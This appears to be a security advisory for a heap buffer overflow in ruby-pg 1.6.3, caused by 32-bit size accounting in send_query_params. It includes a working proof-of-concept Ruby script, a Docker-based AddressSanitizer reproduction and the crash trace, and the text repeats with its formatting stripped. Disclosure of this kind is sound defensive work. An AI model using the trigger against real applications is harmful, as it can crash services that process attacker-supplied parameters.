Summary
PG::Connection#send_query_params accumulates encoded parameter sizes in 32-bit-sized accounting. Many large bytea parameters wrap the typecast buffer size, then the bytea encoder writes past the allocation.
Version
Software: ruby-pg
Version: 1.6.3
Commit: 59296b0
Details
alloc_query_params uses an unsigned int for the running pool size.
unsigned int required_pool_size;
...
required_pool_size = nParams * (
sizeof(char *) +
sizeof(int) +
sizeof(int) +
(paramsData->with_types ? sizeof(Oid) : 0));
ext/pg_connection.c:1284
Each encoded parameter advances that 32-bit counter by len + 1. With many large parameters this wraps, so later allocations are based on a smaller value than the encoder will write.
typecast_buf = alloc_typecast_buf( ¶msData->typecast_heap_chain, len + 1 );
...
len = enc_func(conv, param_value, typecast_buf, &intermediate, paramsData->enc_idx);
...
required_pool_size += len + 1;
ext/pg_connection.c:1382
The bytea encoder then writes \x plus two hex bytes per input byte into that undersized buffer.
*optr++ = '\\';
*optr++ = 'x';
...
*optr++ = hextab[c >> 4];
*optr++ = hextab[c & 0xf];
ext/pg_text_encoder.c:423
The PoC is inline below:
$stdout.sync = true
$stderr.sync = true
require 'pg'
big_count = 100
step = 42_949_673
big_len = (step - 3) / 2
wrap = (big_count * step) & 0xffff_ffff
big = 'A'.b * big_len
params = Array.new(big_count, big)
tm = PG::TypeMapByClass.new
(tm[String] = PG::TextEncoder::Bytea.new).freeze
conn = PG::Connection.connect_start('host=127.0.0.1 port=1 connect_timeout=1')
puts "status=#{conn.status} big_len=#{big_len} count=#{big_count} wrap=#{wrap}"
conn.send_query_params('select 1', params, 0, tm)
Reproduce
Create poc.rb from the inline artifact below, then run this on a machine with Docker:
mkdir -p dfvuln-797 && cp poc.rb dfvuln-797/ && cd dfvuln-797
docker run --rm -v "$PWD":/work -w /tmp ruby:3.3-bookworm bash -lc '
set -eux
apt-get update
DEBIAN_FRONTEND=noninteractive apt-get install -y git build-essential pkg-config libpq-dev gcc llvm
git clone --depth 1 https://github.com/ged/ruby-pg.git src
cd src
git rev-parse HEAD | tee /work/commit.txt
ruby -v | tee /work/ruby-version.txt
bundle config set path vendor/bundle
bundle install
cd ext && ruby extconf.rb && make clean
CC_RB=$(ruby -rrbconfig -e "print RbConfig::CONFIG[%q[CC]]")
CFLAGS_RB=$(ruby -rrbconfig -e "print RbConfig::CONFIG[%q[CFLAGS]]")
DLDFLAGS_RB=$(ruby -rrbconfig -e "print RbConfig::CONFIG[%q[DLDFLAGS]]")
make -j"$(nproc)" CFLAGS="$CFLAGS_RB -O0 -g -fsanitize=address -fno-omit-frame-pointer" DLDFLAGS="$DLDFLAGS_RB -fsanitize=address" LDSHARED="$CC_RB -shared -fsanitize=address"
cd /tmp/src && cp ext/pg_ext.so lib/pg_ext.so
ASAN_LIB=$(gcc -print-file-name=libasan.so)
set +e
LD_PRELOAD="$ASAN_LIB" ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:symbolize=1:fast_unwind_on_malloc=0 RUBYLIB=/tmp/src/lib ruby /work/poc.rb > /work/asan.log 2>&1
status=$?
cat /work/asan.log
exit "$status"
'
The reproduced sanitizer stack is included inline below:
==3525==ERROR: AddressSanitizer: heap-buffer-overflow
WRITE of size 1
#0 0xffffa1188f78 in pg_text_enc_bytea /tmp/src/ext/pg_text_encoder.c:423
#1 0xffffa1164788 in alloc_query_params /tmp/src/ext/pg_connection.c:1386
#2 0xffffa1167170 in pgconn_send_query_params /tmp/src/ext/pg_connection.c:2049
0xfffe822af431 is located 0 bytes to the right of 42949681-byte region
SUMMARY: AddressSanitizer: heap-buffer-overflow /tmp/src/ext/pg_text_encoder.c:423 in pg_text_enc_bytea
Inline reproduction artifact(s):
poc.rb
$stdout.sync = true
$stderr.sync = true
require 'pg'
big_count = 100
step = 42_949_673
big_len = (step - 3) / 2
wrap = (big_count * step) & 0xffff_ffff
big = 'A'.b * big_len
params = Array.new(big_count, big)
tm = PG::TypeMapByClass.new
(tm[String] = PG::TextEncoder::Bytea.new).freeze
conn = PG::Connection.connect_start('host=127.0.0.1 port=1 connect_timeout=1')
puts "status=#{conn.status} big_len=#{big_len} count=#{big_count} wrap=#{wrap}"
conn.send_query_params('select 1', params, 0, tm)
Security Impact
This is a heap buffer overflow while preparing query parameters. It can crash a Ruby process that encodes large attacker-controlled parameter arrays.
Credit
Zheng Yu from depthfirst (depthfirst.com)
Summary
PG::Connection#send_query_paramsaccumulates encoded parameter sizes in 32-bit-sized accounting. Many largebyteaparameters wrap the typecast buffer size, then the bytea encoder writes past the allocation.Version
Software: ruby-pg
Version: 1.6.3
Commit: 59296b0
Details
alloc_query_paramsuses anunsigned intfor the running pool size.ext/pg_connection.c:1284Each encoded parameter advances that 32-bit counter by
len + 1. With many large parameters this wraps, so later allocations are based on a smaller value than the encoder will write.ext/pg_connection.c:1382The bytea encoder then writes
\xplus two hex bytes per input byte into that undersized buffer.ext/pg_text_encoder.c:423The PoC is inline below:
Reproduce
Create
poc.rbfrom the inline artifact below, then run this on a machine with Docker:The reproduced sanitizer stack is included inline below:
Inline reproduction artifact(s):
poc.rbSecurity Impact
This is a heap buffer overflow while preparing query parameters. It can crash a Ruby process that encodes large attacker-controlled parameter arrays.
Credit
Zheng Yu from depthfirst (depthfirst.com)